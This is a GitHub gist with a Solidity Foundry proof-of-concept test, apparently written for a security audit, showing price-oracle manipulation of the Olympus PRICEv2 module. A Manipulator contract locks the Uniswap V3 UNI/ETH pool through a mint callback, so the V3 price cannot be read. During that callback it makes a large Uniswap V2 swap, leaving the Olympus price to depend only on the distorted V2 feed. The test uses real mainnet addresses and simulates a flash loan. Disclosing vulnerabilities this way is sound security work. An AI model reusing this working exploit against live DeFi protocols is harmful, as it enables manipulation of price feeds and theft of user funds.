Skip to content

Instantly share code, notes, and snippets.

@KupiaSecAdmin
Created January 19, 2024 16:25
Show Gist options
  • Save KupiaSecAdmin/fc7ef6664b191ab2b758a22ab15bf404 to your computer and use it in GitHub Desktop.
Save KupiaSecAdmin/fc7ef6664b191ab2b758a22ab15bf404 to your computer and use it in GitHub Desktop.
Olympus Price Manipulation
// SPDX-License-Identifier: Unlicense
pragma solidity >=0.8.0;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {ModuleTestFixtureGenerator} from "test/lib/ModuleTestFixtureGenerator.sol";
import "modules/PRICE/OlympusPrice.v2.sol";
import {ChainlinkPriceFeeds} from "modules/PRICE/submodules/feeds/ChainlinkPriceFeeds.sol";
import {UniswapV3Price} from "modules/PRICE/submodules/feeds/UniswapV3Price.sol";
import {UniswapV2PoolTokenPrice, IUniswapV2Pool} from "modules/PRICE/submodules/feeds/UniswapV2PoolTokenPrice.sol";
import {SimplePriceFeedStrategy} from "modules/PRICE/submodules/strategies/SimplePriceFeedStrategy.sol";
import {Deviation} from "libraries/Deviation.sol";
import {AggregatorV2V3Interface} from "interfaces/AggregatorV2V3Interface.sol";
import {IWETH9} from "interfaces/IWETH9.sol";
import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import {TickMath} from "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IUniswapV2Router {
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
interface IERC20Mint {
function mint(address to, uint256 amount) external;
}
contract Manipulator {
address internal immutable wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH token address
address internal immutable uniTokenAddress = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // UNI token address
address internal immutable uniEthV3Pool = 0x1d42064Fc4Beb5F8aAF85F4617AE8b3b5B8Bd801; // UNI/ETH pool on Uniswap v3
address internal immutable univ2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap V2 Router
uint256 public manipulatedPrice;
PRICEv2 public priceModule;
constructor(PRICEv2 price) {
priceModule = price;
}
function uniswapV3MintCallback(uint256 amount0, uint256 amount1, bytes calldata) external {
// Manipulate UniV2 price using swap
uint256 swapAmount = ERC20(wethTokenAddress).balanceOf(address(this)) - amount1;
address[] memory swapPath = new address[](2);
swapPath[0] = wethTokenAddress;
swapPath[1] = uniTokenAddress;
ERC20(wethTokenAddress).approve(univ2Router, swapAmount);
IUniswapV2Router(univ2Router).swapExactTokensForTokens(swapAmount, 0, swapPath, address(this), block.timestamp);
// Here, UniswapV2 price is manipulated, UniswapV3 price is re-entered.
// Thus, Olympus price feeds only depends on UniswapV2 price feed.
// Attacker can do attack here using manipulated price.
// NOTE: Just save manipulated price to storage for later debug.
manipulatedPrice = priceModule.getPrice(uniTokenAddress);
// Tansfer UNI and WETH to UniV3 Pool
ERC20(uniTokenAddress).transfer(msg.sender, amount0);
ERC20(wethTokenAddress).transfer(msg.sender, amount1);
}
function manipulatePrice() public {
// Deposit ETH to WETH
IWETH9(wethTokenAddress).deposit{value: address(this).balance}();
// Make UniV3 Pool locked state
IUniswapV3Pool(uniEthV3Pool).mint(address(this), TickMath.MIN_TICK / 60 * 60, TickMath.MAX_TICK / 60 * 60, 1e6, "");
}
}
contract PriceV2ManipulationTest is Test {
using ModuleTestFixtureGenerator for OlympusPricev2;
address internal immutable uniTokenAddress = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // UNI token address
address internal immutable wethTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH token address
address internal immutable uniEthV2Pool = 0xd3d2E2692501A5c9Ca623199D38826e513033a17; // UNI/ETH pool on Uniswap v2
address internal immutable uniEthV3Pool = 0x1d42064Fc4Beb5F8aAF85F4617AE8b3b5B8Bd801; // UNI/ETH pool on Uniswap v3
address internal immutable uniUsdChainlinkPriceFeed = 0x553303d460EE0afB37EdFf9bE42922D8FF63220e; // UNI/USD price feed on Chainlink
address internal immutable ethUsdChainlinkPriceFeed = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // ETH/USD price feed on Chainlink
address internal immutable uniMinter = 0x1a9C8182C09F50C8318d769245beA52c32BE35BC; // UNI token minter
Kernel internal kernel;
OlympusPricev2 internal price;
ChainlinkPriceFeeds internal chainlinkPrice;
UniswapV3Price internal univ3Price;
UniswapV2PoolTokenPrice internal univ2Price;
SimplePriceFeedStrategy internal strategy;
address internal writer;
function setUp() public {
{
// Deploy kernel
kernel = new Kernel();
// Deploy price module
price = new OlympusPricev2(kernel, 18, 8 hours);
// Deploy price submodules
chainlinkPrice = new ChainlinkPriceFeeds(price);
univ3Price = new UniswapV3Price(price);
univ2Price = new UniswapV2PoolTokenPrice(price);
strategy = new SimplePriceFeedStrategy(price);
// Deploy mock module writer
writer = price.generateGodmodeFixture(type(OlympusPricev2).name);
}
{
kernel.executeAction(Actions.InstallModule, address(price));
kernel.executeAction(Actions.ActivatePolicy, address(writer));
vm.startPrank(writer);
price.installSubmodule(chainlinkPrice);
price.installSubmodule(univ3Price);
price.installSubmodule(univ2Price);
price.installSubmodule(strategy);
vm.stopPrank();
}
}
function testPriceManipulation() public {
vm.startPrank(writer);
// Setup ETH price feeds: [Chainlink]
{
ChainlinkPriceFeeds.OneFeedParams memory ethChainlinkFeedParams = ChainlinkPriceFeeds.OneFeedParams(
AggregatorV2V3Interface(ethUsdChainlinkPriceFeed), uint48(24 hours));
PRICEv2.Component[] memory feeds = new PRICEv2.Component[](1);
feeds[0] = PRICEv2.Component(
toSubKeycode("PRICE.CHAINLINK"),
ChainlinkPriceFeeds.getOneFeedPrice.selector,
abi.encode(ethChainlinkFeedParams)
);
price.addAsset(
wethTokenAddress,
false,
false,
uint32(30 days),
uint48(block.timestamp),
new uint256[](0),
PRICEv2.Component(
toSubKeycode("PRICE.SIMPLESTRATEGY"),
SimplePriceFeedStrategy.getAveragePriceIfDeviation.selector,
abi.encode(uint256(300))
),
feeds
);
}
// Setup UNI price feeds: [UniV2, UniV3]
{
UniswapV2PoolTokenPrice.UniswapV2PoolParams memory uni2FeedParams = UniswapV2PoolTokenPrice.UniswapV2PoolParams(IUniswapV2Pool(uniEthV2Pool));
UniswapV3Price.UniswapV3Params memory uni3FeedParams = UniswapV3Price.UniswapV3Params(IUniswapV3Pool(uniEthV3Pool), 18, 300);
PRICEv2.Component[] memory feeds = new PRICEv2.Component[](2);
feeds[0] = PRICEv2.Component(
toSubKeycode("PRICE.UNIV2"),
UniswapV2PoolTokenPrice.getTokenPrice.selector,
abi.encode(uni2FeedParams)
);
feeds[1] = PRICEv2.Component(
toSubKeycode("PRICE.UNIV3"),
UniswapV3Price.getTokenPrice.selector,
abi.encode(uni3FeedParams)
);
price.addAsset(
uniTokenAddress,
false,
false,
uint32(30 days),
uint48(block.timestamp),
new uint256[](0),
PRICEv2.Component(
toSubKeycode("PRICE.SIMPLESTRATEGY"),
SimplePriceFeedStrategy.getAveragePriceIfDeviation.selector,
abi.encode(uint256(300))
),
feeds
);
}
vm.stopPrank();
// UNI price in USD using chainlink price feed
uint256 uniPriceChainlink = uint256(AggregatorV2V3Interface(uniUsdChainlinkPriceFeed).latestAnswer()) * 1e10;
// UNI price from PRICEv2 module
uint256 uniPriceOlympus = price.getPrice(uniTokenAddress);
console2.log("Before: Chainklink/Olympus", uniPriceChainlink, uniPriceOlympus);
assertFalse(Deviation.isDeviating(uniPriceChainlink, uniPriceOlympus, 100, 10000));
// Forward timestamp because `getPrice` returns saved value if timestamp is not changed
vm.warp(block.timestamp + 12);
// Manipulate Olympus price
Manipulator manipulator = new Manipulator(price);
// Deposit ETH and UNI manipulator contract, this is simulated as flashloan
vm.deal(address(manipulator), 1000 ether);
vm.startPrank(uniMinter);
IERC20Mint(uniTokenAddress).mint(address(manipulator), 1000 ether);
vm.stopPrank();
// Manipulate UNI price
manipulator.manipulatePrice();
// Get manipulated price
uniPriceOlympus = manipulator.manipulatedPrice();
console2.log("After: Chainklink/Olympus", uniPriceChainlink, uniPriceOlympus);
assertTrue(Deviation.isDeviating(uniPriceChainlink, uniPriceOlympus, 100, 10000));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment